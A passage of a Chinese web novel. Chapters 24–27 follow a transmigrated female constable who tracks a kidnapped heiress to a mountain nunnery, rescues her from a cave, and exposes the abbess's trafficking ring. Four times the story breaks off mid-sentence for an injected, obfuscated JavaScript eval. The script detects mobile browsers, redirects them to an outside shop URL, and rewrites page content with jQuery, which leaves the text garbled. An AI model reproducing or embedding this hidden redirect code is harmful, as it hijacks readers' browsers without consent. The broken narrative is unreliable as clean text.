“好孩子,你带我去看看那天追马车的地方,好不好?” 雪团儿自然听不懂,但穆青青起身后,它小步跟在她脚边,大黄大黑也摇着尾巴跟上。三条狗一前一后,沿着河边小路向东走。 走了约半里路,雪团儿忽然停下,对着河边一片芦苇丛发出低低的呜咽声。 穆青青赶紧过去查看。 只见那里的芦苇倒伏了一片,泥土上有两道清晰的车辙,宽度较窄,不像是载货的宽轮车。车辙旁还有几枚杂乱的脚印,大小不一。 她仔细测量脚印尺寸:一双明显就是女子穿的绣鞋,约五寸长,步幅很小;另一双稍大,约六寸半,步幅均匀。 更令她注意的是,在靠近水边的湿泥地上,有几处较深的印记,像是有人在此久站。还有一道拖曳的痕迹,从岸边延伸到水边——像是有人或物品被拖到水边。 穆青青取出炭笔和油纸,小心地拓下这些痕迹。她注意到车轮痕迹在湿泥地上变得模糊,然后消失。 “特意选择在此渡河……”她喃喃道,“是为了消除气味和足迹吗?” 这手法很专业。狗追踪主要靠气味,渡河能有效切断气味线索;而河边的湿泥地容易留下痕迹,但河水一冲便消失无踪。 她站起身,望向河对岸。那里是一片茂密的竹林,竹林后是青螺山的轮廓。 而静心庵就在那座山上。 24. 深闺迷踪案(5) 此刻,光幕上又跳出几条雪团儿的零碎记忆: 【雪团儿:船……有篷的船……】 【雪团儿:小主人的披风……鹅黄色的……在船上飘……】 鹅黄色披风?穆青青记得苏明绣的衣物清单里确实有一件鹅黄色绣梅花的披风。 【雪团儿:我想叫……可是离得好远……】 穆青青轻轻抚摸雪团儿,安抚它的情绪。 她已经大致还原出当日情景:苏明绣被春桃以某种理由哄骗出门,两人乘马车来到河边,然后换乘船只过河。 雪团儿偷偷跟随,追到河边却不敢下水渡河,只能眼睁睁看着船离去。 而这河边地点选择得很有讲究:位置隐蔽,水流平缓,对岸就是青螺山,上山便是静心庵。 她需要过河查看。 回到县衙,穆青青立即带着拓下的痕迹去见崔县令。 “大人,卑职在城南河边发现了苏小姐养的小白狗,以及疑似苏小姐渡河的痕迹。” 她将拓样铺开,“车辙窄而浅,是轻便马车的特征。岸边脚印显示有一女子被搀扶行走,另有一人协助。那脚印和苏府拓下的苏小姐闺房内的脚印完全吻合。最重要的是,这些痕迹在河边湿泥地消失,而对岸竹林边有类似痕迹重新出现。” 崔县令仔细查看拓样,眉头深锁:“若已过河,很可能已经出了丰城地界。此案怕是难办了。” “大人,卑职倒有不同看法。”穆青青指向地图上青螺山的位置,“从此处渡河,对岸正是青螺山。若他们急于离开丰城,本可直接往东或往北,何必冒险渡河?这不合常理。” 宋师爷捻着断指:“你的意思是……” “卑职认为,他们很可能并未远走,而是藏匿在青螺山某处。” 穆青青顿了顿,“青螺山上,有座静心庵。” “静心庵?”崔县令沉吟,“你是说,佛门清净地……” “正因是佛门清净地,才更易藏人。”穆青青道,“苏小姐每月都会去静心庵上香,春桃作为贴身丫鬟每次都陪同前往。若是庵中有人接应,将苏小姐藏在庵中,外人绝不会怀疑。” 崔县令仍有疑虑:“但若无确凿证据,我们无法搜查静心庵。” “所以卑职想亲自去一趟。”穆青青早已想好说辞,“卑职蒙崔夫人收留,一直心怀感激。明日正巧是十五,卑职可假借为崔夫人祈福之名前往静心庵。” 她放低声音:“苏小姐失踪之事,如今城中流言都说她是与人私奔。若真是如此,我们大张旗鼓追查反倒不妥,毕竟对苏府来说是桩丑事。卑职去庵中上香,既可暗中查探,又不会打草惊蛇。” 这番话合情合理。崔县令思量片刻,点头道:“也好。你心思细,去探探虚实。但切记,莫要轻举妄动。” “卑职明白。” 次日一早,穆青青换上一身素雅的浅青色衣裙,头发简单绾起,戴了一支银簪,提着小荷准备的香烛供品,独自出了县衙。 她刻意未带衙役,也未骑马,只像个寻常百姓家的姑娘,徒步往青螺山走去。 路上,她心中反复推敲着待会儿的说辞。既要表现出对案件不甚在意的态度,又要能从师太口中套出有用信息。更要紧的是,她需要找到机会在庵中走动观察。 静心庵坐落在青螺山半山腰,秋日山道两旁红叶如火。穆青青走了约半个时辰,额上已渗出细汗。 庵门虚掩着,她轻叩门环。不多时,一个小尼姑开了门。 “阿弥陀佛,施主是来上香的?” “是。小女子姓穆,想为家中长辈祈福。”穆青青声音温和,“不知可否拜见静安师太?” 小尼姑引她入内。庵堂清幽,庭院中几株银杏金黄,墙角菊花正盛。正值早课时间,诵经声从大殿传来,平和庄重。 静安师太很快便来了。她约莫五十来岁,面容清瘦,眼神平和,穿着洗得发白的灰色僧衣,确是得道高僧的模样。 “施主有心了。”静安师太合十行礼,“不知要为哪位长辈祈福?” “是为收留我的崔夫人。”穆青青神色恭谨,“我本是逃难至此的孤女,幸得崔县令崔夫人收留。夫人待我如亲女,我无以为报,只能来此上香祈福,愿夫人身体安康。” 这话半真半假,最是难辨。 静安师太深深看她一眼,温声道:“施主知恩图报,善哉善哉。请随贫尼来。” 上香祈福后,静安师太邀穆青青到禅房用茶。禅房简朴,一桌两椅,墙上挂着观音像,案上燃着檀香。 静安师太亲自给穆青青斟茶,状似随意地问道,“听说施主在县衙办案?” 消息果然灵通。 穆青青垂眸:“不过是帮着做些杂事。崔夫人心善,见我无处可去,便让我在衙中暂住。” “原来如此。”静安师太点头,她心中本也不信女子能当什么捕头,“那苏府小姐失踪的案子,施主可曾听闻?” 重头戏来了。 穆青青轻轻叹气:“听说了。城中都在传,说苏小姐是与书生私奔了。唉,好好一个千金小姐,怎会如此糊涂?” 她语气中带着惋惜,却无探究之意,完全是一副听信流言的模样。 静安师太神色不变:“流言蜚语,未必是真。苏小姐每月都来庵中上香,贫尼看她是个知书达理的姑娘,不像会做出此等事。” “师太说的是。”穆青青轻轻颔首,面上露出些许惋惜,“只是可惜了苏小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048069|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样好的家世教养,若真是自个儿走了这条路,到底让人……不知说什么好。” 她语气温软,尾音却带着一丝恰到好处的轻叹,那神态并非谴责,倒更像是一种为对方感到不值、又不好明说的矜持。这正是这个时代体面人家女子提起“私奔”时,常见的那种含蓄的不认同。 静安师太眼底那最后一点疑虑,也在这句话后消散了。 她眼中闪过一丝难以察觉的放松,转开话题:“施主今日来得巧,庵中刚做了素点心,若不嫌弃,可尝一些。” “多谢师太。” 用茶点时,穆青青状似随意地打量禅房。书架上有几本经书,还有两本医书。案上除了香炉,还有一个小木鱼,木槌磨损得发亮,显是常用。 禅房后窗半开着,窗外是后院。 院中收拾得干净整洁,几间厢房门窗紧闭,窗纸泛黄。角落里一口古井,井沿青苔斑驳,旁边放着两个木桶。晾衣绳上挂着几件灰色僧衣,在秋风中微微晃动。一切看起来平静寻常,与普通庵堂后院无异。 穆青青的目光从窗外收回,端起茶杯轻啜一口。静安师太的茶泡得清淡,有股淡淡的菊花香。 “师太这茶里加了菊花?” “是后院种的野菊,晒干了泡茶,清火明目。”静安师太微笑,“施主若喜欢,走时带些回去。” “那便多谢师太了。” 两人又聊了些庵中日常,穆青青始终神色轻松,仿佛真的只是来喝茶闲聊的香客。 但她眼角余光始终留意着院中的细节,看看能否发现一些有用的线索。 谁知光幕在这时悄然浮现,又是小动物们随意的“闲聊”: 【静心庵禅房(当前在线:5)】 麻雀小眼:【啾!今天院子里好安静,那个小尼姑都不出来扫地了!】 墙头猫:【喵呜!昨天晚上那个老尼姑又往后山去了,又提着那个篮子!】 后院老鼠:【吱吱!井边的石板缝里有饭粒!不多,就几粒!】 斋堂蟑螂:【爬爬爬……厨房的米缸怎么又见底了?两脚兽最近好能吃啊……】 穆青青心中一动:后山、井边的饭粒、米缸见底……庵中最近吃饭的人变多了?后山有人需要送饭? 她放下茶杯,状似随意地问:“师太,听说后山药田景致不错,不知可否去看看?” 静安师太笑容温和:“自然可以。不过后山路滑,施主小心些。” “多谢师太提醒。” 穆青青缓步走向后院。 药田就在庵后不远,打理得整齐,种着些常见草药。站在药田边向下望,能清楚看到山下的官道,以及道旁的茶棚。 这是个绝佳的观察点。 25. 深闺迷踪案(6) 穆青青假装欣赏秋色,目光却仔细扫视着药田四周。 在药田边缘的一棵老松树下,她发现了几枚脚印——不是尼姑们常穿的布鞋,而是稍大一些的鞋子,鞋底纹路较深。 她蹲下身,假装整理裙摆,实则用炭笔在袖中悄悄记下鞋印特征。 正准备起身时,光幕又跳出几条信息: 【青螺山后山(当前在线:4)】 松树上的松鼠:【吱吱!前几天是另一个两脚兽在药田边上转悠,今天怎么换了个两脚兽?】 药田旁的蚂蚁:【爬……讨厌……她老踩我们回家的路……土都被踩实了……】 麻雀团团:【啾啾!那边山上歪脖子松树后的石洞口最近一直有米粒,好好吃,我都长胖了!】 穆青青心中豁然一亮,歪脖子松树后的石洞?最近一直有米粒? 会不会那里就是关苏明绣的地方? 穆青青没有贸然靠近探查,现在她就孤身一人,若真有埋伏或暗哨,打草惊蛇的话后果不堪设想。 之后她在药田附近又逛了两圈就返回庵中向静安师太辞行了。 下山路上,穆青青将今日所有线索在脑中复盘了一下,等回到县衙,她就干净利落地将所见所闻详细禀报,尤其强调了静安师太的种种异常。 “种种迹象表明,静心庵后山的确有一处隐蔽地点。”穆青青总结道,“那可能与苏小姐失踪有关,也可能涉及其他隐秘。但眼下缺乏直接证据,无法贸然搜查。” 崔县令捻须沉吟:“既知地点诡秘,又无法公开查证,为之奈何?” “亲自去探。”穆青青目光清亮,“卑职需要亲自去确认那隐蔽之处隐藏的究竟是物,还是人。” 宋师爷抬起眼:“你想夜探?” “是。”穆青青点头,“那里地形特殊,白日里稍有靠近便易被察觉,唯有趁夜色掩护前去探查或可探听到些虚实。这是目前最快且最不易打草惊蛇之法。” “太过冒险!”崔县令不赞成,“你孤身女子,夜探荒山野庵,若有闪失……” “大人放心,卑职绝非逞匹夫之勇。”穆青青显然早就想好了托辞,“卑职只在外围潜伏观察,绝不深入涉险。赵捕头可带精干人手在山下接应,我俩约定信号,若子时前未见卑职发出安全信号,或听见响箭示警,便可立刻上山接应、甚至直扑后山。此行重在探查,非为擒贼。” 宋师爷思忖片刻,对崔县令低声道:“大人,穆捕头所言不失为稳妥之策。夜探即便不成,有赵捕头接应也无甚大碍。关键是苏家小姐她,等不了太久了。” 崔县令权衡良久,看着穆青青沉着坚定的神色,终是叹了口气,郑重叮嘱:“你,务必以自身安危为重,稍有异状,立即撤离,不可恋战贪功。” “卑职遵命!” 是夜,月隐星稀,没有灯污染的山里真的是一片漆黑。 穆青青换上深色衣裤,用布巾包住头发,脸上抹了些锅底灰。腰间别着短刀,怀里揣着火折子和绳索。 赵捕头带人埋伏在山下,两人约定好以响箭为号。 穆青青独自上山。她没有走白天的大路,而是从后山一条猎人小径攀爬。这条路是她白天时在药田旁转悠的时候就观察好了的,小径虽然陡峭难行,但隐蔽。 夜里的青螺山静得可怕,只有风吹树叶的沙沙声和偶尔的虫鸣。穆青青脚步轻缓,呼吸平稳,耳听八方。 快到静心庵时,她停下脚步,伏在草丛中观察。 庵堂隐在深秋夜色里,唯有佛堂一豆长明灯晕着昏黄的光。 停了一会儿,穆青青就转向后山而去。后山小径湿滑,夜露浸透了草叶。 她手脚并用,尽量避开可能发出声响的枯枝碎石,精神高度集中,让耳力全开,除了自己的心跳,尽力捕捉着周遭一切细微动静:风声、虫鸣声、远处偶尔传来的鸟而扑翅声…… 当她终于隐约看到一颗歪脖子松树时,选择趴伏在一块背阴的岩石后静静观察。 月亮被薄云笼着,光线晦暗。但借着微弱天光,她仍能勉强辨认出那几块大石头和歪脖子松树的轮廓。那里一片死寂,与周围山林别无二致。 她很有耐心。 等待,本就是警察的基本功。 时间一点点过去,秋夜寒露浸入衣衫,带来刺骨的凉意。她一动不动,如同岩壁的一部分。 就在这时,一阵极轻微的窸窣声从石头方向传来。若非穆青青全神贯注,几乎就要忽略过去了。 那不是风声,更像是布料摩擦石壁,或者,极轻的脚步声。 她屏住呼吸,将身体压得更低,眼睛一眨不眨地盯着那片黑暗。 一个模糊的黑影,从几块巨石交错形成的阴影里,极其缓慢地“渗”了出来。黑影贴着石壁移动,动作小心而警惕,走走停停,似乎在观察四周。 距离太远,天色太暗,完全无法分辨身形样貌,只能看出是个人形轮廓,中等身高,移动时似乎有些不太自然的僵硬。 那黑影在石头附近徘徊了约莫一盏茶功夫,似乎在确认什么,然后,又无声无息地缩回了巨石后的阴影里,再没有出现。 穆青青心中飞速盘算:这个黑影是谁?是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17051742|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静安师太?还是里面看守的人出来查探情况? 无论是哪种,都证实了石头后面确实藏着人! 她需要更近一步。但此刻靠近风险太大,那个黑影刚出来过,警惕性正是最高的时候。 她决定改变策略,退而求其次,探查另一个可疑点——静心庵。 后山藏人,庵内或许会留有相关物品或痕迹。而且此刻庵内众人应该已经歇息,警戒比后山要低。 她如同夜行的狸猫,悄无声息地绕开药田,从侧后方接近静心庵的矮墙。庵墙不高,她选了一处墙外有老树遮掩的角落,利落地翻了过去。 庵内比山林更显寂静,只有风穿过屋脊的呜咽。她根据白天的记忆,贴着墙根阴影,向后院那排厢房摸去。 果然,厢房全都锁着的,穆青青没有试图开锁,主要是她没有这个技能,强行破坏动静太大。 她小心地检查窗户,窗户从内闩着,糊窗的纸很旧。 她用手指沾了点唾液,轻轻在窗纸角落点开一个小洞,凑近窥视。 屋内一片漆黑,什么都看不见。但她闻到一股淡淡的、混杂的气味——尘土、霉味、还有一种……类似跌打药膏的淡淡药味,以及一丝几乎被掩盖的、若有若无的甜香。 这甜香很特别,不像寻常熏香,倒有点像某种女子用的面脂或头油,带着一丝熟悉感。 突然,穆青青想到苏府的李姨娘说香桃曾送给她一盒胭脂,“用玫瑰花汁子加珍珠粉调的”,当时穆青青就觉得那胭脂的香味儿中带着一丝熟悉感。 到底是在哪里闻到过这种香味儿呢? 她正思索着,耳尖忽然一动,一阵极轻微的脚步声,从后方走廊传来! 有人起夜? 穆青青瞬间缩身,躲进杂物房侧面一个堆着破旧竹篓的凹陷处,借着阴影将自己完全隐藏,连呼吸都放到最缓。 脚步声越来越近,是两个人!脚步都很轻,但其中一个略显拖沓。 “……师父,真的不用再送一次药吗?她下午咳得厉害。”一个年轻些的声音,压得很低,带着丝暗哑。 “不必。那药性猛,一日两次已是极限。让她多喝些温水便是。”另一个苍老些的声音,平静无波,正是静安师太,“你心软是好事,但需知,各行其是,各有因果。我们只需做好分内之事。” “可是……她看起来真可怜,手都被磨破了……” “静心!”静安师太的声音严厉了一分,“忘了我平日如何教导你的?菩萨慈悲,亦需金刚怒目。有些事,非你我所能置喙。去睡吧,明日早课莫要迟了。” 26. 深闺迷踪案(7) “是,师父……”小尼姑的声音低了下去。 脚步声分开,一个走向禅房方向,一个走向另一侧的寮房。 穆青青躲在暗处,心跳如擂鼓。对话里的信息量太大了! “她”、“咳得厉害”、“药性猛”、“手被磨破了” 穆青青高度怀疑这个“她”就是失踪了数日的苏明绣。 苏明绣体弱,若被囚禁于阴湿山洞或陋室,染病咳嗽毫不奇怪。 她强压住想要立刻冲去后山一探究竟的冲动。 现在还不是时候。 静安师太她们才刚刚离开,随时可能再回来,后山藏匿点看守的人警惕性明显也很高,无论是哪以边都不是现在的穆青青能单独对付得了的。 一旦打草惊蛇,后果不堪设想。 于是穆青青又在原地潜伏了约一刻钟,确认再无动静后才如来时一般,悄无声息地翻墙而出,沿着原路快速下山。 到了山下,她按约定发出声响,赵捕头立刻带人从藏身处现身。 “穆捕头,如何?可还顺利?”赵捕头急切地问,上下打量她,见她安然无恙才松了口气。 “有发现,重大发现。”穆青青言简意赅,眼中闪着锐利的光,“静心庵后山歪脖子松树那儿果真有个藏匿之处,有人看守着,里面很可能就是苏明绣。庵内也有相关痕迹,但对方很警惕,不宜立刻行动。” 她抬头看了看天色,东方已泛起一丝极淡的鱼肚白。 “先回县衙禀报大人,情况有变,我们需要一个既能确保苏小姐安全,又能将相关人等一网打尽的计划。” 穆青青回头望了一眼山腰处朦胧的庵堂轮廓,转身,步伐坚定地朝县城方向走去。 接下来,该是收网的时候了。 回到县衙,穆青青将夜探所得,尤其是那关键对话和杂物房的异香一一禀报了崔县令与宋师爷。 “后山歪脖子松树附近果真有个隐匿之处,且有人看守;杂物房曾有药物与带香气的物品存放,不过里面的物品极有可能已被转移;静安师太与小尼姑的对话非常可疑,如果被看守之人真的是苏家小姐的话,她可能生病了。” 穆青青边思考边禀告,“结合这些线索来看,苏小姐其人多半就在静心庵后山;而且,我们的时间不多了。” “但这都只是猜测,我们并没有任何直接的证据。静安师太在本地颇有清誉,贸然搜查不妥;而且打草惊蛇后恐其狗急跳墙,伤及苏小姐。”崔县令捻须沉吟。 “无需搜查。”穆青青目光锐利,“我昨日才去过静心庵,她们可能有所怀疑,但一定想不到我们今早就会行动。我们可以打一个时间差和心理差。” “哦?详细说来。” 崔县令和宋师爷异口同声道。 “方才县令大人说,静安师太她在本地颇有清誉,正因为如此,每日去静心庵上香的香客很多。我打听到每日晨饭后庵中都有常例法会,静安师太必须在前殿主持,此乃惯例。她们一定以为官府尚无确凿证据,不敢轻举妄动,此时防备虽有,但心态上其实是放松的,依旧会把重心放在前殿应付香客上,后山看守难免松懈。而我们,偏偏要在这‘松懈’之时,直扑要害。” 宋师爷眼中精光一闪:“你是说,明修栈道,暗度陈仓?” “正是。”穆青青点头,“请大人明面派赵捕头带人,以‘苏老爷报案鸣冤,县令大人下令排查苏小姐失踪前接触之人’为由,大张旗鼓前往静心庵,然后当着众香客的面要求与静安师太及所有尼姑问话。此举合情合理,静安无法拒绝,且会吸引其全部注意力;而我就带着几个身手敏捷的兄弟则趁此机会,从后山小径直扑那巨石隐藏处。我昨夜已大致摸清位置和外围暗哨的可能方位,且有把握在短时间内确认入口并判断内部情况。” “若确认苏小姐在内呢?” “以防万一,赵捕头在前殿问话时,可安排两名身手最好的弟兄,借口巡查庵堂四周环境,靠近后山方向。我以响箭为号。号响,他们立即回去通知赵捕头,赵捕头一收到消息就在前殿当场控制静安及涉案尼姑,防止串供或销毁证据。咱们兵分两路,双管齐下,速战速决。” 崔县令与宋师爷对视一眼,皆看到对方眼中的赞许。 此计虽有些大胆,但都是建立在严密的推理和对对手心理的精准把握上,最大限度地保证了行动的突然性和效率。 “就依此计!”崔县令拍板,“赵捕头,你带六人,依计行事,务必稳住前殿。穆捕头,后山之事,全权交由你,务必小心!” 晨饭后,静心庵法会钟声响起不久,赵捕头便带着衙役,持公文来到了庵门前。静安师太闻报,果然亲自出迎,身后跟着一大群看热闹的香客。师太神色虽镇定,眼神深处却有一丝不易察觉的凝滞。 赵捕头依计行事,提出因苏府千金失踪案需要当众问话。 香客们昨日才被满城的苏府千金私奔了的消息砸晕,今日上香居然还能碰上八卦后续:苏老爷居然去县衙门报官了,说苏府千金她不是私奔,而是神秘失踪了。 这个热闹谁都不想错过,他们也都想听一听赵捕头与静安师太的对话内容,说不定能发现什么重要线索,能去首富苏老爷那儿领点赏钱呢! 静安师太无法推脱,只得将众尼唤至前殿偏房,自己亦陪同在侧。庵中气氛顿时微妙地紧绷起来。 与此同时,穆青青带着三个身形敏捷的捕快,如鬼魅般从后山峭壁再次潜至那几块巨石附近。她伏在昨日观察点,并未立刻靠近。 果然没过一会儿,有人从那隐匿处闪身出来了。白日里穆青青才得以看清,那隐匿处原来是一个地洞。 那人出来后并没有四处巡视,反而一直在朝着前殿的方向张望,看来他们已经发现了前殿的异常动静! 穆青青不再犹豫,她吩咐另外三人原地不动监视那闪身出现之人,自己则悄然绕到巨石侧面,果然在第三、第四块石头交错的缝隙底部,看到了被藤蔓巧妙遮掩的狭窄入口。 她侧耳倾听,内有微弱人声和咳嗽声。她轻轻拨开藤蔓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054748|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧身闪入。 通道向下,昏暗潮湿。她屏息快步下行,尽头是一个不大的天然岩洞,壁上插着一支火把,火光摇曳。洞内情景一目了然:角落稻草堆上,一个身着鹅黄色脏污中衣的少女蜷缩着,脚踝上锁着铁链,她双颊凹陷,闭目咳嗽,气息微弱。旁边一个面相凶悍的妇人正不耐烦地朝通道口张望,另一个年轻男子靠在另一边打盹。 穆青青的出现终是惊扰到了对方。 那妇人惊觉回头,张口欲喊,穆青青已欺身而上,武力不够技术、工具、迷药统统来凑,她将手中早准备好的浸了迷药的布巾猛地捂住其口鼻,同时膝盖狠狠顶向其腹侧。妇人闷哼一声,眼睛翻白,软倒在地。 这时外间也传来了一阵响动,穆青青猜测肯定是她带来的那三位捕快兄弟也动手了。三个打一个,不是,三个人抢一个功劳,肯定没问题。 那打盹的年轻男子惊醒跳起,穆青青已抽出腰间短刀,刀尖直指其喉,压低声音厉喝:“别动!衙门拿人!” 话音刚落,外面三个捕快兄弟也举着配刀冲进来了。 年轻男子被这突如其来的变故和冰冷的刀锋吓得僵住。穆青青迅速用绳索将其反绑,塞住嘴。整个过程不过几次呼吸的时间。 她快步走到地上少女的身边,轻声呼唤:“苏小姐?是苏小姐苏明绣吗?我是县衙的捕头穆青青,别怕,我们来救你了。” 苏明绣艰难地睁开眼,眼神涣散,待看清穆青青的装束和面容,干裂的嘴唇颤抖着,泪水涌出,却虚弱得发不出完整声音。 穆青青检查了一下铁链锁头,是常见的挂锁。她目光一扫,从那被捆男子腰间扯下一串钥匙,试到第二把,锁头应声而开。她小心地将冰冷沉重的铁链从苏明绣血肉模糊的脚踝取下。 此时,她才从怀中掏出响箭,走到通道口,对着天空拉动引信。 “咻——啪!” 尖锐的啸叫和醒目的红光打破了山林的寂静。 前殿偏房内,赵捕头听到信号,猛地站起,对脸色瞬间煞白的静安师太喝道:“静安!你勾结歹人,囚禁苏府千金的事情暴露了!兄弟们,给我拿下!” 衙役一拥而上,瞬间就控制了现场。 一旁看热闹的香客们还没反应过来到底什么情况,县衙的抓捕行动就已经结束了。 苏明绣被安全救出,迅速送医。 静安师太及一众大小尼姑,加上山洞中那一男一女,全都被押回了县衙。回程的路上,闻讯赶来看热闹的人几乎快把街道两边围满了,毕竟丰城县建城这几十上百年来,谁也没见过这么多尼姑游街啊。 整个行动历时不足两个时辰,零伤亡。 在确凿的人证(苏明绣)、物证(铁链、钥匙、洞中遗留的苏明绣饰物)面前,静安师太见大势已去,很快就招供了。 苏明绣案就此告破,干净利落。穆青青的推理能力和果断行动令县衙上下刮目相看。 唯一不好可能就是,与苏明绣定亲的那户人家很快就派人来苏府退亲了。 27. 结案 静安师太的审讯并未持续太久。 面对铁证,这位在青螺山静修二十余载、在丰城善名远播的师太,终于卸下了她那副悲悯慈和的面具。她供认的罪行,令参与审讯的崔县令、宋师爷乃至见多识广的赵捕头都脊背生寒。 原来静心庵后山那几间从不对外开放的厢房,竟是训练“特殊人才”的密室。 静安师太早年机缘巧合得了一本南疆奇书,上头记载着如何以药物、训练的方式改变幼童形貌举止。她陆续收养或买来七名容貌清秀的男童,自三四岁起便用秘药抑制其男性特征,教其女红、妆容、音调乃至步态。 春桃——本名春生,也就是之前山洞里的那个年轻男子,是其中学得最好、也最得静安信任的一个。三年前便被安排“卖身葬亲”进入苏府,凭着细心机灵逐渐成为苏明绣的贴身丫鬟。 “那些小姐们,”静安师太在供词上画押时,神情竟是异样的平静,“养在深闺,单纯又寂寞。一个贴心知趣、能陪她们说话解闷、还能调脂弄粉的丫鬟,最易得到她们信任。” 她们的目标从来不止苏明绣一人。过去五年间,丰城及邻近三县,至少有四位富户小姐“与人私奔”,实则皆是被这些男扮女装的“丫鬟”里应外合,用药物迷晕后秘密送往北方。买家是些有特殊癖好的豪绅富贾,出价极高。 “那些人家,”宋师爷翻看着静安师太交代的名单,捻着断指的手有些发颤,“都以为是女儿自甘下贱与人私奔,为保家族颜面,竟无一报案。有的对外称女儿急病身亡,有的干脆说她出家修行去了……” 若非这次苏老爷爱女若明珠,坚信她不可能与人私奔,拼着走漏消息会影响自家名声也要报官,恐怕受害者还会持续增,后果简直不堪设想。 堂上一片沉寂。 穆青青站在崔县令身侧,看着那几张供纸。她想起苏明绣闺房中那未写完的花笺,想起雪团儿在河边无助的呜咽,想起苏夫人最后那死灰般的眼神。 这世道,女子名节重于性命;其实哪怕是在现代社会,这种情况也没变得多好。那些利用这“规矩”作恶的人,正是算准了受害者的家人宁愿吞下苦果,也不敢声张。 “赵捕头,”崔县令沉声道,“你带两人,按这名单上所写,一家一家找去。”他顿了顿,“不必声张,只将实情告知各家主事人即可。如何处置……由他们自己定夺。” “是。”赵捕头抱拳,神色凝重。这趟差事,注定不会轻松。 审讯结束,众人散去。穆青青回到东厢院时,天色已近黄昏。 小荷迎上来,眼睛红红的:“姑娘,苏府刚才派人送了些东西来,说是苏夫人让交给您的。” 苏府奉命送东西来的婆子给小荷说了些苏家小姐的现状。小荷在得知苏明绣身心受伤又被定亲的人家退婚后,还陪着那婆子哭了一场。 桌上放着一个锦盒。 穆青青打开,里面是一支成色极好的羊脂玉簪,并一张短笺。苏夫人的字迹娟秀却显得无力:“穆捕头大恩无以为报。此簪乃我及笄时母亲所赠,今赠予姑娘,愿姑娘此生顺遂。” 穆青青轻抚玉簪,触感温润。她将短笺仔细收起,簪子却另用软布包好,放入箱底。 这份心意她领了。 虽说这般贵重之物她不该收下,可一来穆青青她现在确实缺钱;二来这种情况下她若是拒收这份谢礼,苏夫人心中恐怕会一直挂念着报恩一事,反倒不美。 晚膳后,她照例去二堂整理卷宗。推门而入时,却见郑克礼正站在她平日办公的案几前,翻看着什么。 “郑典史。”穆青青停在门边。 郑克礼转过身,脸上挂着惯有的温和笑意:“穆捕头来了。我在看苏家案的结案文书,宋师爷让我帮着梳理归档。”他放下手中卷宗,目光在她脸上停留片刻,“听说此案能破,多亏穆捕头明察秋毫。真是后生可畏。” “郑典史过奖,分内之事。”穆青青走到案前,开始收拾自己的东西。 郑克礼并未立刻离开,反而在对面坐下,状似随意地问道:“穆捕头对静安师太的作案手法,有何看法?” 穆青青手中动作微顿,抬眼看他:“郑典史想说什么?” “只是觉得,”郑克礼指尖轻点桌面,“这般周密的布局,绝非一人之力能成。静安师太一个深居庵堂的妇人,如何能与北方那些买家搭上线?又如何确保运送途中万无一失?” 这话问到了穆青青心上。她也想过这个问题,静安师太背后,恐怕另有其人。 “此案已结,这些疑问,自有崔大人和宋师爷定夺。”穆青青神色平静,将最后一摞卷宗放入木箱,“若无他事,卑职先告退了。” “穆捕头,”郑克礼在她转身时开口,声音轻了些,“有时查案,未必非要查个水落石出。知道得太多,反而不妥。” 穆青青脚步一顿,没有回头:“多谢郑典史提醒。但为捕快者,见疑不放,是天职。” 她抱着木箱走出二堂。秋夜的风吹在脸上,带着凉意。 郑克礼的话在她心中萦绕。他是知道什么,还是单纯的提醒? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061638|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位看似和气、实则深不可测的典史,到底站在哪一边? 回到东厢院,穆青青点亮油灯,开始将苏家案的细节记录在私密的笔记中。这是她自穿越以来养成的习惯,将破案过程中的疑点、线索、直觉都记下来,有时回头翻看,能有新的发现。 正写到“静安师太背后恐有同党”时,窗外传来一阵响动。 “喵呜——” “喵!” 穆青青抬眼,只见瓦片和橘点点正隔着窗棂对峙,两只猫的尾巴都竖得老高。 橘点点嘴里叼着半条小鱼干,瓦片则瞪圆了眼睛,显然是想抢。 【丰城县衙夜话(当前在线:4)】 瓦片:【喵!那是本喵藏起来的!你从哪里翻出来的!】 橘点点:【喵呜~就在窗台下那块松动的砖后面!谁叫你藏得不严实!】 麻雀小灰:【啾!打起来打起来!我最喜欢看猫打架了!】 